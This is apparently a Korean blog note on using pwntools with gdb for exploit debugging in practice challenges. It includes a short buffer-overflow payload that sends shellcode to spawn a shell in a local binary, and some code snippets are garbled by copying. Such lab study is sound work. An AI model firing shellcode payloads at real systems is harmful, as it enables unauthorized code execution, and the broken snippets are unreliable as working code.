정말... 익스하는데 뭐가 잘못된지 모르겠는데 자꾸 프로그램은 죽고 마ㅣㄴ어ㅣㅏ러


그래서 pwntools에서 gdb를 붙여 사용할 수 있다고 해서 찾아봤다.

사용법은 아래와 같다. ... 라고하는데 사용을 못하겠다 ㅡㅡ; 그냥 디버그 모드사용;


1
2
3
4
5
6
7
def lanuch_gdb(): 
    p = process("./binary")
    context.terminal = ['gnome-terminal''-x''sh''-c'
    gdb.attach(proc.pidof(p)[0])
 
#break point
gdb.attach(proc.pidof(p)[0], execute='b *0x4005d6\nc\n')
cs



디버그모드라고 코드 맨위에 context.log_level = 'debug' 라고 추가해주면 된다. 매우 편리..



tmux를 이용한 gdb.attach 방법


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux''splitw''-h']
 
script = '''
b gets
'''
 
shellcode = asm(shellcraft.sh())
payload = shellcode + "A"*80
 
 
payload += p64(0x4141414142424242+ p64(0x7fffffffe400)
 
= process("./vuln1")
 
gdb.attach(p, script)
 
p.sendline(payload)
p.interactive()
 
cs



tmux를 킨 다음에 사용할 수 있다.

script에 gdb로 설정할 것을 적은 후 실행하면 창 분리한 후 실행되어 사용하기 좋다.



pwntools 사용해서 LD_PRELOAD 설정하기


1
process(["./challenge"], env={'LD_PRELOAD':'./libc.so.1'})
cs





+ Recent posts